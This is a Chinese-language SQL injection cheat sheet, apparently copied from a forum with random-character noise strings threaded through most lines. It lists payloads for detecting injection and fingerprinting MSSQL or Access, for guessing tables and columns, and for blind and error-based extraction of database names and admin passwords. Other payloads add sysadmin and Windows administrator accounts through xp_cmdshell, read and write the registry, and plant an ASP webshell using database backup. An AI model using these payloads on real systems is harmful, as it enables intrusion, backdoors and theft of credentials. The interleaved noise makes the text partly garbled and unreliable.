1.判断是否有注入 3 I1 g; h" f, m4 S$ C9 a
;and 1=1 + e' N' [+ A0 l0 T
;and 1=2 / B5 S+ Y0 ?7 A9 C5 T
0 {9 c! H; G. j$ @3 Q' [
2.初步判断是否是mssql ! w& ~* K+ E5 `7 p" s: z# y
;and user>0 ( `3 t$ y* H. v" @: @4 g8 x. c
% m% E |( M) x c" J) E& {% [% c3.判断数据库系统
! s" L: K8 R+ X: k* w9 ]6 I4 q% J;and (select count(*) from sysobjects)>0 mssql
" ?/ E) H& {; {9 b+ e) W;and (select count(*) from msysobjects)>0 access - n; @6 j; _9 n5 ]
5 [* l1 N5 Z# S. @9 o
4.注入参数是字符 7 _. F5 l" A* Z/ ~% A$ z
'and [查询条件] and ''='
7 M' Y+ [% [, i& e) X, I6 H% }' W/ n; o
5.搜索时没过滤参数的 * G C6 Q8 v S0 C$ v$ k3 i
'and [查询条件] and '%25'=' - A C& E, c7 L9 W) O2 N
i- S0 ?. I2 R. O* k; I0 @0 ^' l
6.猜数表名 0 _# F" G) \2 i3 ~; w0 j
;and (select Count(*) from [表名])>0
Z6 r: j5 N4 A/ U! A% b+ O9 Q' Y5 ^6 k: k: w4 }6 V! j
7.猜字段 9 k6 C0 m9 `+ F
;and (select Count(字段名) from 表名)>0 9 f- G+ q( x1 [+ a& S5 R) b( \$ g
: `5 \6 K% g1 J! |1 b% E( B8.猜字段中记录长度 , |6 p' \, X; p% X
;and (select top 1 len(字段名) from 表名)>0
: H0 o4 Z% R- r# G& y
' w' ]4 w1 w- y( }: W9.(1)猜字段的ascii值(access) . X j' ^1 T' n- q$ e* E4 f/ e
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
' h. G( n( k0 {. A c
+ b+ {6 V5 H U% o3 Q(2)猜字段的ascii值(mssql)
1 ?5 i$ a0 ~" K' x. h! G;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
$ A& p, H7 O0 J" M; F3 Y3 X& G( x5 ^7 A f
10.测试权限结构(mssql)
# Q- _' o2 H! G" \2 K# H: v- e8 ];and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- $ m/ {( U# F( S, v$ A
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0 [5 x4 h! M* ~9 V! ^$ u
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4 D" y! N8 @3 k4 B# F
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5 X$ K! p; X+ s
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " Z/ d, q/ f! C) q' u1 V5 W
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- W5 V( L: m2 s! P9 L/ C
;and 1=(select IS_MEMBER('db_owner'));--
% M8 B, ~4 v1 v; n; Z0 w# U9 c/ [2 T) H/ u' i
11.添加mssql和系统的帐户
6 U6 u; X5 ]" i3 \;exec master.dbo.sp_addlogin username;--
8 J o) h" a) C, Y- s- I0 j;exec master.dbo.sp_password null,username,password;-- 8 l6 B6 }7 D# n& U' @" F
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 j. ~$ L% ~: T% a;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 6 |6 g4 C2 @- I+ d% z$ V
;exec master.dbo.xp_cmdshell 'net user username password /add';--
% f# J: E6 S9 V& _5 T;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 d* ?1 R) Y k. c9 Z5 G
& E4 O% a7 f X7 F" ]( z$ g12.(1)遍历目录
; T4 J) s) ~7 ?& H7 n! q; ? F- k2 Y;create table dirs(paths varchar(100), id int) J/ x, r2 r( ], [8 D- \( u
;insert dirs exec master.dbo.xp_dirtree 'c:\'
7 }; m6 _$ Q/ m. _;and (select top 1 paths from dirs)>0 ( c# d( V& ^7 M ?( K+ ^# N
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
% |* l( v3 p( W' d9 W/ N5 ?" u! a
% h4 Z% J l5 {. L7 r(2)遍历目录
* y, V! a- q2 m S;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3 z+ D' ~ q# | w" p! L
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 , T% P, m) G" F) j
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 H9 N! ]" A w8 t% ]$ e; p% C; y;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ( P0 U, B$ f+ O; s
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
$ j: ^! {4 K4 q( a
" V6 Q+ I; A A, [+ m; \5 g13.mssql中的存储过程
B; y! ~# G _xp_regenumvalues 注册表根键, 子键 2 E. v) d3 V5 F6 j* Q _
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5 W6 a3 Y# P. r, y
xp_regread 根键,子键,键值名 ( |* _. `- c; x/ S: F4 T6 @6 S
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
$ X4 V7 A# G. B! Qxp_regwrite 根键,子键, 值名, 值类型, 值
7 E) z. d0 s, u0 F7 J值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
* y! b7 {1 A R, p% r9 [;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 W2 n3 D$ k! N( n7 u
xp_regdeletevalue 根键,子键,值名 , E# W& w. T5 L' D5 {' ?
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 7 L% {5 p' t) P# }( n8 o* X7 g
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 * B. e( ^0 w7 C5 t' c$ x
8 j1 V/ r. M) J6 Z5 Y14.mssql的backup创建webshell 5 W5 W: Z* R- t
use model
( \/ q2 K, x8 \7 M K {create table cmd(str image);
) f' t) T: O* ?; f0 H2 U( `5 [/ {insert into cmd(str) values ('<% Dim oScript %>'); 7 L4 P. E$ s; y( |3 E
backup database model to disk='c:\l.asp';
4 O& K2 s& D) v" X* |
3 [1 z {0 }$ \1 m; f15.mssql内置函数
. o) m. K/ R' `. n8 H, f;and (select @@version)>0 获得Windows的版本号
, P9 Q/ z) e2 P- L4 T7 r;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' `2 a6 L1 O: `- H5 O;and (select user_name())>0 爆当前系统的连接用户 * U; n0 i* _" Y. J
;and (select db_name())>0 得到当前连接的数据库 0 \0 p( O* e* n1 t
/ T+ k; t* p2 ^- y9 O( F
/ ^1 j b; a: N( X
% D5 b! i) G0 m) f: L' a" p! n) cMSSQL手注暴库
4 ^. i. C1 e6 I/ e6 M
, P6 O) ^* B8 t0 b7 R0 z" Q: P4 B1.暴出当前表名和列名
! I8 t( d! x' W( d8 g& w$ n" u在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
# k8 Q# t {: m+ ~6 E8 u
R0 e8 w! g- Y" y+ Y第一.爆出所有数据库名
6 s$ A& Z# g0 P7 f- n+ e% C; P利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
7 g6 T# X6 K# s6 e第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
, q/ N# [; \) Z* L2 G! N7 Y, N, t) M* L
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名9 n' y5 |: R; `4 e
2 e6 ?' B8 r$ M) A2 `* D/ o; a
$ `( S7 X7 N" r/ ]. i. s第二.爆出指定库中的所有表名
/ G" ?3 y6 k7 D, B' o4 L" G得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
0 d$ v8 C8 s$ L再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
( r+ E9 x6 t& Y9 X' P+ ]4 F
0 F6 c6 q( z vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
9 @( Z8 [6 K, A, g. Dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--0 f( D, H& \" k& Z/ M
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--& o X8 H; w8 w, O/ K
9 X2 @ w* F7 [% v `4.爆出指定表中的所有列名4 f( Y, Z0 ~$ t
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) - F1 C( \( N) m: u; J A% c9 p
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
0 a; E! b5 s( N
. D4 I1 A5 Z$ k( hand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名5 L' |7 Y9 g8 L! q
" o. l3 @: K. v) n
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
6 \; p6 q* K O4 ]7 P4 A依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
9 E+ w& c p( w5 O% P% l5 k' j% a# ] O9 X
& W$ A5 X& @( {7 p$ m# g* e \and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值4 d" w( c- E6 T h% ~3 k4 p1 K" k
: H: Y- @6 u! c: u, s! p5 ~
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名- \8 k. V: u N& S( z) F; V
6 C8 W( ]! O u+ E: s
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
+ w# A' o4 I- K' [3 s# f, `, z9 S9 S; p* K6 L; x' S
0 M4 S8 u9 T0 @* i) Q: g7 a: ?& @" ?1 h! G0 u; ~" P
5.读取指定表中的数据
% t8 r" W8 ?$ u- P; w* c. ?! \8 d* L
! S2 m6 K" [( s) g# xand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 . u# R: c8 M$ q$ E' V# r5 I
z8 {$ ]) C1 E I: s& |
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
' D6 Y, `) ^4 l# A; _. G: O7 @) Q
3 T C- ?+ Z4 E* r7 E: gand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码& }0 O, J+ z7 N S& ]) G( y
+ x2 z9 J0 y8 ]/ ?
2 g' k; c7 Q6 a0 y# Q6 yand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)6 L7 ~* G: N) j2 ~; u
, e3 q: W Z; C7 V$ e, E4 H' r
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)0 b$ l7 t! F* r
4 Q# F2 p' t4 ]8 U2 U0 o
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--6 ~* v3 A, p4 _4 M
+ ?7 l: @; \/ q$ i" s4 [知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
& x% ?- E4 X1 I |